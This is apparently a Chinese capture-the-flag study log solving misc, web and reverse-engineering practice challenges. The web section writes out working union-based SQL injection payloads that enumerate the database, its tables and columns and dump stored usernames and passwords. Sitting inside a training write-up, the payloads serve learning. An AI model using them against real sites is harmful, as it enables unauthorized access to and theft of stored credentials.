2.5学习记录

misc

文件中的秘密

打开附件后用随波逐流一把梭就可以了

被嗅探的流量

这题根据提示需要追踪到请求,在过滤栏输入:

php 复制代码
 http.request.method == "POST" 

在第二个包的结尾发现了

后门查杀

这个题打开附件发现一大堆,同时触发火绒监控根据提示后门密码就是flag,在vscode里面找到了

web

[极客大挑战 2019]LoveSQL

上方提示所以应该是只能手注了随便输一下发现可以交互,判断闭合方式判断应该是单引号闭合,试试万能密码发现没得到flag,但是找到了回显地址

进行联合注入发现2和3有回显位置
继续查询密码处输入1' union select 1,2,database()#
查询数据库接着爆表名1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#
1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1#

爆列名1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
两个表爆出来都是这个,接着爆内容

php 复制代码
/check.php?username=1&password=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23

太长了查看源码在密码最后发现flag了

re

reverse3

先查壳没壳,放进ida查看,先找到主调函数

cpp 复制代码
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  size_t v3; // eax
  const char *v4; // eax
  size_t v5; // eax
  char v7; // [esp+0h] [ebp-188h]
  char v8; // [esp+0h] [ebp-188h]
  signed int j; // [esp+DCh] [ebp-ACh]
  int i; // [esp+E8h] [ebp-A0h]
  signed int v11; // [esp+E8h] [ebp-A0h]
  char Destination[108]; // [esp+F4h] [ebp-94h] BYREF
  char Str[28]; // [esp+160h] [ebp-28h] BYREF
  char v14[8]; // [esp+17Ch] [ebp-Ch] BYREF

  for ( i = 0; i < 100; ++i )
  {
    if ( (unsigned int)i >= 0x64 )
      j____report_rangecheckfailure();
    Destination[i] = 0;
  }
  sub_41132F("please enter the flag:", v7);
  sub_411375("%20s", (char)Str);
  v3 = j_strlen(Str);
  v4 = (const char *)sub_4110BE(Str, v3, v14);
  strncpy(Destination, v4, 0x28u);
  v11 = j_strlen(Destination);
  for ( j = 0; j < v11; ++j )
    Destination[j] += j;
  v5 = j_strlen(Destination);
  if ( !strncmp(Destination, Str2, v5) )
    sub_41132F("rigth flag!\n", v8);
  else
    sub_41132F("wrong flag!\n", v8);
  return 0;
}

这里关键是识别函数

cpp 复制代码
v4 = (const char *)sub_4110BE(Str, v3, v14)

这是一个base64加密的函数,点进去查看发现是没有换表的加密接下来去找密文

exp:

python 复制代码
import base64

str2='e3nifIH9b_C@n@dH'
flag=''

for i in range(0,len(str2)):
    flag+=chr(ord(str2[i])-i)

print("加密:{}".format(flag))
print("解密:{}".format(base64.b64decode(flag).decode('utf-8')))

happy new year

拿到附件先查壳发现upx壳,用kali脱壳找到主调函数根据函数解析,得到flag为str2

不一样的flag

查壳32位程序,没壳,用ida查看主调函数发现1234控制上下左右,说明是个迷宫问题,先确定迷宫大小根据:

c 复制代码
 if ( v5 == 2 )
    {
      ++*(_DWORD *)&v3[25];
    }
    else if ( v5 > 2 )
    {
      if ( v5 == 3 )
      {
        --v4;

判断迷宫是5*5大小

*1111

01000

01010

00010

1111#

从 *走到#号

222441144222就是flag

相关推荐
future141241 分钟前
C#每日学习日记
java·学习·c#
碎叶城李白3 小时前
若依学习笔记1-validated
java·笔记·学习·validated
im_AMBER3 小时前
学习日志05 python
python·学习
真的想上岸啊4 小时前
学习C++、QT---18(C++ 记事本项目的stylesheet)
开发语言·c++·学习
rui锐rui5 小时前
大数据学习2:HIve
大数据·hive·学习
凛铄linshuo6 小时前
爬虫简单实操2——以贴吧为例爬取“某吧”前10页的网页代码
爬虫·python·学习
大春儿的试验田7 小时前
高并发收藏功能设计:Redis异步同步与定时补偿机制详解
java·数据库·redis·学习·缓存
金色光环8 小时前
【Modbus学习笔记】stm32实现Modbus
笔记·stm32·学习
THMOM918 小时前
TinyWebserver学习(9)-HTTP
网络协议·学习·http
凌辰揽月9 小时前
Servlet学习
hive·学习·servlet